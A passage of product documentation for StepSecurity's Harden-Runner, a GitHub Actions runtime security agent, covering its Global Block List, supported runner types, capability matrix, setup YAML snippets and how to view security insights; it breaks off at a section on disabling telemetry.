For teams with higher usage needs or private repository support, the Enterprise Tier provides expanded capacity and advanced features.

## Security Incidents Detected

* [Harden-Runner Detected the tj-actions/changed-files compromise](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised) ([CVE-2025-30066](https://github.com/advisories/GHSA-mrrh-fwg8-r2c3))
* [Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository](https://www.stepsecurity.io/blog/how-harden-runner-detected-the-sha1-hulud-supply-chain-attack-in-cncfs-backstage-repository)
* [Harden-Runner Detected the NX Build System compromise](https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware)
* [Harden-Runner Detected a CI/CD Supply Chain Attack in Google’s Open-Source Project Flank](https://www.stepsecurity.io/case-studies/flank)
* [Harden-Runner Detected a CI/CD Supply Chain Attack in Microsoft’s Open-Source Project Azure Karpenter Provider in Real-Time](https://www.stepsecurity.io/case-studies/azure-karpenter-provider)
* [Harden-Runner Detected Anomalous Traffic to api.ipify.org Across Multiple Customers](https://www.stepsecurity.io/blog/harden-runner-detects-anomalous-traffic-to-api-ipify-org-across-multiple-customers)
* [Harden-Runner Detected an Unexpected Microsoft Defender Installation on GitHub-Hosted Ubuntu Runners](https://www.stepsecurity.io/blog/how-stepsecurity-harden-runner-detected-unexpected-microsoft-defender-installation-on-github-hosted-ubuntu-runners)

**Follow this interactive demo to see a real detection:**

{% embed url="<https://app.storylane.io/share/679y2zgzljov>" %}

## Threats in a CI/CD Environment

Compromised workflows, dependencies, and build tools pose several major threats:

1. Exfiltration of CI/CD credentials and source code
2. Tampering of source code, dependencies, or artifacts during the build process to inject backdoors
3. Exploitation of third party GitHub Actions
4. Dependency based supply chain attacks

To mitigate these risks, Harden-Runner provides key security measures. The table below outlines its core functionalities and the threats they help prevent:

| Security Measure                    | Function                                                                                                                                                                                     | Past Breach Example                                                                                                                                                                                                                                                                                                                                           |
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Network Traffic Control             | Monitor and block outbound network traffic at the DNS, HTTPS (Layer 7), and network layers (Layers 3 and 4) to prevent exfiltration of code and CI/CD credentials                            | To prevent the [Codecov breach](https://github.com/step-security/github-actions-goat/blob/main/docs/Vulnerabilities/ExfiltratingCICDSecrets.md#codecov-breach) scenario                                                                                                                                                                                       |
| Source Code Integrity Check         | Detect if source code is being tampered during the build process to inject a backdoor                                                                                                        | To detect the [XZ Utils](https://www.stepsecurity.io/blog/analysis-of-backdoored-xz-utils-build-process-with-harden-runner) and [SolarWinds incident ](https://github.com/step-security/github-actions-goat/blob/main/docs/Vulnerabilities/TamperingDuringBuild.md#sunspot-an-implant-in-the-build-process)scenarios                                          |
| Dependency and Workflow Monitoring  | Detect poisoned workflows and compromised dependencies that exhibit suspicious behavior                                                                                                      | To detect [Dependency confusion](https://github.com/step-security/github-actions-goat/blob/main/docs/Vulnerabilities/ExfiltratingCICDSecrets.md#dependency-confusion-attacks) and [Malicious dependencies](https://github.com/step-security/github-actions-goat/blob/main/docs/Vulnerabilities/ExfiltratingCICDSecrets.md#compromised-dependencies) scenarios |
| GitHub Token Permission Enforcement | Determine minimum GITHUB\_TOKEN permissions by monitoring HTTPS calls to GitHub APIs                                                                                                         | To set [minimum GITHUB\_TOKEN permissions](https://www.stepsecurity.io/blog/determine-minimum-github-token-permissions-using-ebpf-with-stepsecurity-harden-runner) to reduce the impact of exfiltration                                                                                                                                                       |
| Threat Intelligence-Driven Blocking | StepSecurity's 24×7 SOC identifies IOC domains and IPs from active supply-chain attacks and adds them to a Global Block List that is enforced automatically across every protected workflow. | To block exfiltration from the [pgserve npm compromise](https://www.stepsecurity.io/blog/pgserve-compromised-on-npm-malicious-versions-harvest-credentials) in real time                                                                                                                                                                                      |

## Global Block List

Harden-Runner enforces a **Global Block List** of domains and IP addresses associated with active supply-chain attacks. The list is maintained by StepSecurity's 24×7 Security Operations Center (SOC), which continuously tracks emerging threats across the CI/CD ecosystem and the npm, PyPI, and GitHub Actions registries.

**Automatic, zero-config enforcement:** When our SOC identifies a new indicator of compromise (IOC), it's added to the Global Block List and takes effect immediately across every workflow using Harden-Runner — no configuration change, no action version bump, no workflow edit required.

**Enforced regardless of egress policy:** The Global Block List is enforced even when a workflow is running in `egress-policy: audit` mode. IOCs represent known-malicious infrastructure, so customers shouldn't have to re-decide whether to block each one.

Allowlisting an IOC domain in your policy does **not** override the Global Block List. This is intentional — it prevents a compromised action or misconfigured workflow from granting itself access to known-malicious infrastructure.

**When an entry fires,** the blocked request appears on the workflow's Network Events and Detections views, labeled **Attack Blocked** so you can distinguish it from regular policy blocks.

{% hint style="info" %}
You don't manage the Global Block List directly — it's maintained centrally by StepSecurity so every customer benefits from threat intelligence gathered across the entire fleet. If you believe a domain has been blocked in error, contact StepSecurity support.
{% endhint %}

### Inspecting the Global Block List

The current contents of the Global Block List are available as a read-only JSON feed:

```
GET https://agent.api.stepsecurity.io/v1/global-blocklist
```

The endpoint is public, requires no authentication, and returns the live list of indicators currently enforced across every workflow protected by Harden-Runner. It is provided so security teams can audit what is being blocked on their behalf, integrate the list into their own threat-intelligence tooling, or confirm that a specific domain or IP is on the list.

## Enabling Runtime Security with Harden-Runner

Securing your CI/CD pipelines starts with protecting your runners. StepSecurity’s Harden-Runner provides comprehensive monitoring and protection across different runner environments. Because these runners handle sensitive build processes, dependencies, and secrets, runtime protection is essential to prevent supply chain attacks.

Harden-Runner supports multiple CI/CD runner types:

<table><thead><tr><th>Environment Type</th><th>Compatibility</th><th>Audit Mode Deployment</th><th width="141">Workflow Changes for Audit Mode</th></tr></thead><tbody><tr><td><a href="#github-hosted-runners">GitHub-Hosted runners</a> (Linux, macOS, Windows)</td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr><tr><td><a href="#github-hosted-custom-vm">GitHub-Hosted Custom VM</a></td><td>✅ Full support</td><td>Include agent in runner image</td><td>No</td></tr><tr><td><a href="#self-hosted-vm-runners">Self-hosted VM runners</a></td><td>✅ Full support</td><td>Include agent in runner image</td><td>No</td></tr><tr><td><a href="#self-hosted-bare-metal-runners">Self-hosted bare-metal runners</a></td><td>✅ Full support</td><td>Install agent as a service</td><td>No</td></tr><tr><td><a href="#actions-runner-controller-arc-runners">Actions Runner Controller (ARC)</a></td><td>✅ Full support</td><td>Deploy as DaemonSet</td><td>No</td></tr><tr><td><a href="/pages/i8NLTwuYPhlcbrAMIr9e">RunsOn Runners</a></td><td>✅ Full support</td><td>Pre-integrated</td><td>No</td></tr><tr><td><a href="#blacksmith">BlackSmith</a></td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr><tr><td><a href="#namespace">Namespace</a></td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr><tr><td><a href="#warp">Warp</a></td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr><tr><td><a href="#depot">Depot</a></td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr><tr><td><a href="#bitrise">Bitrise (macOS)</a></td><td>✅ Full support</td><td>Add Harden-Runner Action to workflow</td><td>Yes</td></tr></tbody></table>

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/xhizsh7scdwr>" %}

### Platform Capability Matrix

Harden-Runner's capabilities vary by runner operating system. The matrix below shows which features are currently supported on Linux, macOS, and Windows.

<table><thead><tr><th width="420.81512451171875">Capability</th><th align="center">Linux</th><th align="center">macOS</th><th align="center">Windows</th></tr></thead><tbody><tr><td>GitHub-hosted runner support</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Self-hosted VM (ephemeral)</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Self-hosted VM (persistent)</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Network + DNS monitoring</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Process monitoring</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Correlation of events with the exact workflow step</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Job summaries in workflow logs</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Imposter commit detection</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Secrets and build-log detection</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Source code overwrite detection</td><td align="center">✅</td><td align="center">✅</td><td align="center">❌</td></tr><tr><td>File write events (GitHub-Hosted)</td><td align="center">✅</td><td align="center">✅</td><td align="center">❌</td></tr><tr><td>File write events (Self-Hosted, ephemeral)</td><td align="center">✅</td><td align="center">✅</td><td align="center">❌</td></tr><tr><td>File write events (Self-Hosted, persistent)</td><td align="center">❌</td><td align="center">✅</td><td align="center">❌</td></tr><tr><td>Custom VM image baking</td><td align="center">✅</td><td align="center">❌</td><td align="center">✅</td></tr><tr><td>Non-intrusive HTTPS monitoring</td><td align="center">✅</td><td align="center">❌</td><td align="center">❌</td></tr><tr><td>Suspicious process event detection</td><td align="center">✅</td><td align="center">❌</td><td align="center">❌</td></tr><tr><td>Known C2 endpoint blocking</td><td align="center">✅</td><td align="center">❌</td><td align="center">❌</td></tr><tr><td>Agent tampering detection</td><td align="center">✅</td><td align="center">❌</td><td align="center">❌</td></tr><tr><td>Runner.Worker memory-dump detection (prevents secret exfiltration)</td><td align="center">✅</td><td align="center">❌</td><td align="center">❌</td></tr><tr><td>Policy Store enforcement</td><td align="center">✅</td><td align="center">❌</td><td align="center">✅</td></tr><tr><td>Block mode (GitHub-hosted)</td><td align="center">✅</td><td align="center">✅</td><td align="center">✅</td></tr><tr><td>Block mode (Self-hosted)</td><td align="center">✅</td><td align="center">❌</td><td align="center">✅</td></tr></tbody></table>

{% hint style="info" %}
File write events are not currently supported for Linux persistent runners.
{% endhint %}

### Harden-Runner Endpoints

The Harden-Runner agent requires outbound access to the following endpoints on port 443 (HTTPS). If your runner environment uses a firewall, proxy, or network allowlist, ensure these endpoints are permitted.

| Endpoint                                                              | Purpose                                          |
| --------------------------------------------------------------------- | ------------------------------------------------ |
| `agent.api.stepsecurity.io:443`                                       | Agent communication and policy retrieval         |
| `prod.app-api.stepsecurity.io:443`                                    | Telemetry                                        |
| `customer-transient-data-277233109775.s3.us-west-2.amazonaws.com:443` | Transient data storage for runtime event uploads |

All communication is encrypted over TLS. These endpoints are automatically allowed by Harden-Runner and do not need to be added to your allowed endpoints list. However, if your organization has configured firewalls at the infrastructure level (e.g., network firewalls, proxy servers, or cloud security groups), these endpoints must be permitted for Harden-Runner to function correctly.

### GitHub-Hosted Runners

**Step 1:** Add the `step-security/harden-runner` GitHub Action to your GitHub Actions workflow file as the first step in each job. You can automate adding Harden-Runner Action to your workflow file by using [Secure Workflow](https://app.stepsecurity.io/secure-workflow).

```
steps:
  - uses: step-security/harden-runner@v2 # v2.10.3
    with:
      egress-policy: audit
```

**Step 2:** You will see a link to security insights and recommendations in the workflow logs and the job markdown summary.

<figure><img src="/files/yrDuxxAAa70yPlNz6w6T" alt="build log showing link to StepSecurity insights page"><figcaption><p>build log</p></figcaption></figure>

**Step 3:** Click on the link ([example link](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/7704454287)). You will see a process monitor view of network and file events correlated with each step of the job.

<figure><img src="/files/8K24q1duABExJZ077gus" alt="StepSecurity Insights page showing Network Events"><figcaption><p>StepSecurity Insights Page showing Network Events</p></figcaption></figure>

**Step 4:** In the `Recommended Policy` tab, you'll find a recommended block policy based on outbound calls aggregated from the current and past runs of the job. You can update your workflow file with this policy or use the Policy Store to apply the policy without modifying the workflow file. From now on, any outbound calls not on the allowed list will be blocked.

<figure><img src="/files/DUxMgho9uiVBjuLMeS9F" alt="StepSecurity Insights Page showing Recommendations"><figcaption><p>StepSecurity Insights Page showing Recommendations</p></figcaption></figure>

### GitHub-Hosted Custom VM

GitHub-hosted custom VM runners combine the flexibility of self-managed environments with the convenience of GitHub’s hosted infrastructure.

Harden-Runner enables runtime security for GitHub-hosted custom VM runners by providing continuous monitoring and policy enforcement directly on the VM image. Unlike the standard GitHub-hosted environment, which requires adding the Harden-Runner GitHub Action in each workflow, custom VM environments can be preconfigured with the Harden-Runner agent for persistent protection.

{% hint style="info" %}
Instructions for installing the Harden-Runner agent on your runner image are available under [**Harden-Runner Installations**](/github-actions/harden-runner/harden-runner-installation)
{% endhint %}

### Self-Hosted VM Runners

To enable runtime security for self-hosted runners on Cloud VMs (e.g. EC2 instances), you can add the Harden-Runner agent to your runner image.

Instead of adding the Harden-Runner GitHub Action in each job, you'll need to install the Harden-Runner agent on your runner image (e.g., AMI). This is typically done using a packer or as a post-install step when using the [https://github.com/philips-labs/terraform-aws-github-runner](https://github.com/github-aws-runners/terraform-aws-github-runner) project to set up runners.

The Harden-Runner agent monitors all jobs run on the VM; both ephemeral and persistent runners are supported; you do NOT need to add the Harden-Runner GitHub Action to each job for `audit` mode

For jobs where you want to enable `block` mode, there are two options:

* Attach a [policy](/github-actions/harden-runner/policy-store#for-self-hosted-runners) to enforce blocking behavior.
* Add the Harden-Runner GitHub Action directly to those specific jobs.

{% hint style="info" %}
Both ephemeral and persistent VM runners are supported.
{% endhint %}

You can access security insights and runtime detections under the `Harden-Runner` section in your dashboard.

{% hint style="info" %}
Instructions for installing the Harden-Runner agent on your runner image are available under [**Harden-Runner Installations**](/github-actions/harden-runner/harden-runner-installation)

This agent is different from the one used for GitHub-hosted runners.
{% endhint %}

### Self-Hosted bare-metal Runners

Self-hosted bare-metal runners are set up by installing the harden-runner agent as a service. This setup closely resembles the self-hosted cloud VM scenario but runs directly on physical hardware instead of virtualized environments.

#### Actions Runner Controller (ARC) Runners

Actions Runner Controller (ARC) is a Kubernetes operator that orchestrates and scales self-hosted runners for GitHub Actions.

Rather than incorporating the Harden Runner GitHub Action into each individual workflow, you'll need to install the ARC-Harden-Runner daemonset on your Kubernetes cluster.

Upon installation, the ARC Harden-Runner daemonset monitors all jobs run on the cluster; you do NOT need to add the Harden-Runner GitHub Action to each job for `audit` mode.

For jobs where you want to enable `block` mode, there are two options:

* Attach a [policy](/github-actions/harden-runner/policy-store#for-self-hosted-runners) to enforce blocking behavior.
* Add the Harden-Runner GitHub Action directly to those specific jobs.

You can access security insights and runtime detections under the Runtime Security tab in your dashboard.

{% hint style="info" %}
Installation instructions for the ARC-Harden-Runner daemonset are available under the [**Harden-Runner Installations**](/github-actions/harden-runner/harden-runner-installation)
{% endhint %}

### Third-Party GitHub Actions Runners

Harden-Runner supports third-party GitHub Actions runner providers that offer faster, cheaper, or region-specific alternatives to GitHub-hosted runners. Integration works the same way as with GitHub-hosted runners: add the `step-security/harden-runner` action as the first step of each job. Only the `runs-on` value changes.

The following providers are supported:

* [Bitrise](https://bitrise.io/platform/build-hub)
* [Blacksmith](https://www.blacksmith.sh/)
* [Depot](https://depot.dev/)
* [Namespace](https://namespace.so/)
* [Warp Build](https://warpbuild.com/)

{% hint style="info" %}
Harden-Runner action **v2.19.0 or later** is required for third-party runner support. Bitrise runners require **v2.20.0 or later.**
{% endhint %}

#### **Bitrise**

Harden-Runner supports Bitrise Build Hub macOS runners for GitHub Actions. Bitrise runners are targeted using the labels you define when creating a Build Hub machine pool, so your `runs-on` value depends on your pool configuration. Use your pool's label in `runs-on` and add Harden-Runner as the first step:

```yaml
jobs:
  build:
    runs-on: bitrise-m4-pro # replace with your Build Hub machine pool label
    steps:
      - uses: step-security/harden-runner@v2.20.0
        with:
          egress-policy: audit
      - uses: actions/checkout@v4
      # ... rest of your job
```

{% hint style="info" %}
Bitrise support requires Harden-Runner action **v2.20.0 or later**. Bitrise machine pool labels are user-defined; see [Configuring Build Hub for GitHub Actions](https://docs.bitrise.io/en/bitrise-build-hub/build-hub-for-github-actions/configuring-build-hub-for-github-actions) for how to create and target pool labels.
{% endhint %}

#### **Blacksmith**

Use a Blacksmith runner label in `runs-on` and add Harden-Runner as the first step:

```yaml
jobs:
  build:
    runs-on: blacksmith-4vcpu-ubuntu-2404
    steps:
      - uses: step-security/harden-runner@v2.19.0
        with:
          use-policy-store: true
          api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
      - uses: actions/checkout@v4
```

#### **Depot**

Use a Depot runner label in `runs-on` and add Harden-Runner as the first step.

```yaml
jobs:
  build:
    runs-on: depot-ubuntu-24.04
    steps:
      - uses: step-security/harden-runner@v2.19.0
        with:
          use-policy-store: true
          api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
      - uses: actions/checkout@v4
```

#### **Namespace**

Use a Namespace profile label in `runs-on` and add Harden-Runner as the first step:

```yaml
jobs:
  build:
    runs-on: namespace-profile-default
    steps:
      - uses: step-security/harden-runner@v2.19.0
        with:
          use-policy-store: true
          api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
      - uses: actions/checkout@v4
      # ... rest of your job
```

#### **Warp**

Use a Warp runner label in `runs-on` and add Harden-Runner as the first step:

```yaml
jobs:
  build:
    runs-on: warp-ubuntu-latest-x64-4x
    steps:
      - uses: step-security/harden-runner@v2.19.0
        with:
          use-policy-store: true
          api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
      - uses: actions/checkout@v4
      # ... rest of your job
```

#### **What works the same as GitHub-hosted runners**

All standard Harden-Runner features are available on these providers:

* **Audit mode** (`egress-policy: audit`) — logs outbound traffic without blocking
* **Block mode** (`egress-policy: block`) with `allowed-endpoints`
* **Policy Store** integration (`use-policy-store: true` with an `api-key`) — centrally manage egress policies without modifying each workflow
* **Security insights link** in the job log and the Markdown job summary
* All detections surface in the StepSecurity dashboard the same way as for GitHub-hosted runners

## How to access Harden-Runner security insights

For each GitHub Actions workflow run, Harden-Runner monitors the run-time network, file, and process events and makes runtime insights available via the StepSecurity Web App.

There are **four** ways to find the insights link:

* [**BuildLog**](#buildlog)
* [**Workflow Runs**](#latest-workflow-runs)
* [**Markdown Job Summary**](#markdown-job-summary)
* [**GitHub Checks**](#github-checks)

### BuildLog

**Step 1:** Navigate to build log of your workflow file in Github Actions.

**Step 2:** Look for the Harden-Runner step in the log and click on the Insights link which appears in the logs as `View security insights and recommended policy at:` followed by a clickable URL (this is an [example link](https://app.stepsecurity.io/github/ossf/scorecard/actions/runs/2265028928)).

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-05/4089ae82-00f6-4fe3-80b2-41bacd79612f/user_cropped_screenshot.jpeg?tl_px=0,175&#x26;br_px=2266,1714&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=519,369" alt="build log showing StepSecurity insights link"><figcaption><p>build log</p></figcaption></figure>

**Step 3:** Once you click on the Insights link, you will be redirected to the `Summary` tab in the StepSecurity Web App. The `Summary` Page provides an overview of:

* Outbound destinations contacted during the job execution.
* HTTPS requests and the number of actions taken.
* Detections (if any security risks were found).

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-05/d1e9d4c2-2dd9-43db-ae1f-dd708a3481e6/ascreenshot.jpeg?tl_px=0,0&#x26;br_px=2266,1538&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=254,86" alt="StepSecurity Insights Summary Page"><figcaption><p>StepSecurity Insights Summary Page</p></figcaption></figure>

### Workflow runs

StepSecurity provides a dashboard where you can view the latest GitHub Actions workflow runs monitored by Harden-Runner. This guide will help you navigate the dashboard and access insights for specific workflow runs.

**Step 1:** Navigate to `https://app.stepsecurity.io/github/<GITHUB_ORG_NAME>/actions/dashboard`

**Step 2:** In the left-hand menu, under Harden-Runner, click Workflow Runs

<figure><img src="/files/SufTfOYexp39ex1Q8ZLl" alt=""><figcaption></figcaption></figure>

**Step 3:** After opening the Workflow Runs page, locate the workflow you want to inspect and click on it.

<figure><img src="/files/oBFFsrnESSdVG1wxnptW" alt="StepSecurity Workflow Runs page showing different workflow runs"><figcaption><p>StepSecurity Workflow Runs page showing different workflow runs</p></figcaption></figure>

**Step 4:** Once inside the workflow details page, navigate to the `Summary` tab.

Here, you can review:

* Outbound destinations contacted during the workflow.
* Security detections (if any were found).
* Actions performed by the workflow.

<figure><img src="/files/OdMYe2IMq3sAazOBQbn4" alt="StepSecurity Insights summary page"><figcaption><p>StepSecurity Insights summary page</p></figcaption></figure>

### Markdown Job Summary

**Step 1:** Navigate to the workflow run page

**Step 2:** Click "📄 View Full Report"

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-11/89576757-4949-479b-bc9a-f7e9f3ffad50/ascreenshot.jpeg?tl_px=0,175&#x26;br_px=2266,1714&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=447,590" alt="StepSecurity markdown report"><figcaption><p>StepSecurity markdown report</p></figcaption></figure>

**Step 3:** Review the outbound connections allowed during the workflow execution.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-11/0535747d-46e6-42c6-8018-77176eb7ff0f/user_cropped_screenshot.jpeg?tl_px=0,175&#x26;br_px=2266,1714&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=531,538" alt="StepSecurity Insights summary page"><figcaption><p>StepSecurity Insights summary page</p></figcaption></figure>

### GitHub Checks

To enable GitHub Checks, check out this [guide](broken://pages/Gl1Qm7ei5iANGikFhSYk#how-to-enable-the-github-checks-feature).

**Step 1:** Navigate to the Pull Request

**Step 2:** View Check Details

* Look at the checks summary under your pull request.
* Identify any failed or successful checks.
* Click on the “Details” link next to the StepSecurity Harden-Runner check.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-11/bed6dbb8-9073-403b-ad1c-db333f002cf0/ascreenshot.jpeg?tl_px=0,179&#x26;br_px=2236,1718&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=706,376" alt="List of GitHub Checks including StepSecurity Harden-Runner check"><figcaption><p>List of GitHub Checks including StepSecurity Harden-Runner check</p></figcaption></figure>

**Step 3:** Access Insights URL

* On the new page, select StepSecurity Harden-Runner from the list of workflow checks.
* Find the Insights URL under the Workflow Run Insights section.
* Click the Insights URL to proceed.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-11/e61a4995-af92-4c0b-9632-9ae80bc86736/ascreenshot.jpeg?tl_px=0,179&#x26;br_px=2236,1718&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=731,575" alt="StepSecurity Harden-Runner Check"><figcaption><p>StepSecurity Harden-Runner Check</p></figcaption></figure>

**Step 4:** Review Security Insights

* The Insights page will display outbound traffic details, network events, and security findings.
* Verify if any unauthorized outbound connections were detected.
* Review the All Outbound Destinations and All Detections sections for further analysis.

<figure><img src="/files/1IUaArXT0MM3bL4FdIJH" alt=""><figcaption></figcaption></figure>


# Workflow Runs

The Workflow Run Details page provides an in-depth view of each CI/CD job execution, including network activity, file modifications, and security detections. It highlights key security metrics, outbound destinations, and policy recommendations, helping you monitor and secure your workflows effectively.

<figure><img src="/files/1ZSnKISAFtaBHIYPg44B" alt=""><figcaption></figcaption></figure>

### Runtime Summary States

* **Empty/No Tag:** No detections were found; Harden-Runner is functioning as expected.
* **Harden-Runner Not Enabled:** Harden-Runner is not active in your workflow.
* **Overwritten File:** A file in the workflow has been overwritten.
* **Secret Leak Detected:** A secret (e.g. token, credential) was exposed in logs or outputs.
* **Jobs Without Harden-Runner:** At least one job in the workflow lacks Harden-Runner coverage.
* **Blocked Call:** An endpoint has been blocked.
* **New Endpoint:** A network call deviated from the baseline, indicating potential anomalies.
* **Suspicious Process**: A potentially malicious or anomalous process was observed during workflow execution.
* **Imposter Commit**: A commit was made that appears to impersonate a trusted contributor or maintainer.

### Workflow Run Policy Evaluation

The Summary tab of workflow run insights includes a **Workflow Run Policy Evaluation** section, so policy results appear in the same place you review runtime behavior. The section shows one of three states:

* **Blocked**: the run was cancelled by a workflow run policy. The section lists the policy that triggered and its violations. This is shown even for cancelled runs where runtime insights could not be generated, so a policy-cancelled run is never an unexplained "Insights not generated yet".
* **Allowed**: policies applied to the run and it passed. The section lists each evaluated policy with its result.
* **No policy applied**: if no workflow run policy was applied to the run, the section states this and provides a **Create a workflow run policy** button.

<figure><img src="/files/dVTwRXTyq5GEHCgOoTEm" alt=""><figcaption></figcaption></figure>

## Features Available in Harden-Runner

| Feature                                                                                                                                    | Community Tier | Enterprise Tier |
| ------------------------------------------------------------------------------------------------------------------------------------------ | -------------- | --------------- |
| [View outbound network traffic at the job level](#view-outbound-network-traffic-at-the-job-level)                                          | ✅              | ✅               |
| [Detect anomalous outbound network traffic](#detect-anomalous-outbound-network-traffic)                                                    | ✅              | ✅               |
| [Filter outbound network traffic to allowed endpoints](#filter-outbound-network-traffic-to-allowed-endpoints)                              | ✅              | ✅               |
| [Disable telemetry in block mode](#disable-telemetry-in-block-mode)                                                                        | ✅              | ✅               |
| [Detect tampering of source code during build](#detect-tampering-of-source-code-during-build)                                              | ✅              | ✅               |
| [Run your job without sudo access](#run-your-job-without-sudo-access)                                                                      | ✅              | ✅               |
| [View baseline status at the job level](#view-baseline-status-at-the-job-level)                                                            | ✅              | ✅               |
| [Determine minimum GITHUB\_TOKEN permissions](#determine-minimum-github_token-permissions)                                                 | ❌              | ✅               |
| [View the name and of every file written during the build process](#view-the-name-and-path-of-every-file-written-during-the-build-process) | ❌              | ✅               |
| [View outbound GitHub API calls at the job level](#view-outbound-github-api-calls-at-the-job-level)                                        | ❌              | ✅               |
| [View process names and arguments](#view-process-names-and-arguments)                                                                      | ❌              | ✅               |
| [Filter workflow runs by PR and branch](#filter-workflow-runs-by-pr-and-branch)                                                            | ❌              | ✅               |
|                                                                                                                                            |                |                 |

### View outbound network traffic at the job level

Harden-Runner monitors all outbound traffic from each job at the DNS and network layers

* After the workflow completes, each outbound call is correlated with each step of the job, and shown in the insights page
* For self-hosted runners, no changes are needed to workflow files to monitor egress traffic
* A filtering (block) egress policy is suggested in the insights page based on the current and past job runs

To access this feature switch to the `Network Events` tab on your Insights page

<figure><img src="/files/btadFyPSOzosM3IzOQqq" alt="StepSecurity Insights Network Events page"><figcaption><p>StepSecurity Insights Network Events page</p></figcaption></figure>

For the **Enterprise Tier**, the PID is available, and you can click on it to view the process arguments

<figure><img src="/files/Ml7eR4cfD2zMRmQRpTmT" alt="StepSecurity Insights Network Events page"><figcaption><p>StepSecurity Insights Network Events page</p></figcaption></figure>

### Detect anomalous outbound network traffic

You can detect suspicious/ anomalous traffic using this feature even in `egress-policy:audit` mode.

To access this feature switch to the `Recommendations` tab on your Insights page

* Anomaly detection feature creates a machine learning model of outbound network calls by analyzing the historical data of the same workflow in previous runs

<figure><img src="/files/WhKd3hH8K9PzLgcez5Rh" alt="StepSecurity Insights Recommendations page"><figcaption><p>StepSecurity Insights Recommendations page</p></figcaption></figure>

* Once the baseline is established, any anomalous outbound destinations are flagged on the insights page, triggering real-time alerts
* You can view the list of all anomalous outbound network traffic in the `All Detections` page on the dashboard

<figure><img src="/files/IfktUyf55WUBk9BSbBkd" alt="StepSecurity Insights Summary page"><figcaption><p>StepSecurity Insights Summary page</p></figcaption></figure>

For more details, refer to [Anomalous Outbound Call Detection Using Machine Learning](https://www.stepsecurity.io/blog/announcing-anomalous-outbound-call-detection-using-machine-learning)

### Filter outbound network traffic to allowed endpoints

You can see recommended egress block policy in the `Recommendations` tab for each job. This is based on observed traffic across multiple runs of the job.

<figure><img src="/files/YxFlGxohcMOtBu1Zotee" alt="StepSecurity Insights Recommendation page"><figcaption><p>StepSecurity Insights Recommendation page</p></figcaption></figure>

Once you set these allowed endpoints in the workflow file, or in the [Policy Store](/github-actions/harden-runner/policy-store) and switch to using `egress-policy:block` :

* Harden-Runner blocks egress traffic at the DNS (Layer 7) and network layers (Layers 3 and 4)
* It blocks DNS exfiltration, where attacker tries to send data out using DNS resolution
* Wildcard domains are supported, e.g. you can add `*.data.mcr.microsoft.com:443` to the allowed list, and egress traffic will be allowed to `eastus.data.mcr.microsoft.com:443` and `westus.data.mcr.microsoft.com:443`

<figure><img src="/files/WQVctEeCG5A8GzZOrXeI" alt="StepSecurity Insights Summary page"><figcaption><p>StepSecurity Insights Summary page</p></figcaption></figure>

### Disable telemetry in block mode

{% hint style="warning" %}
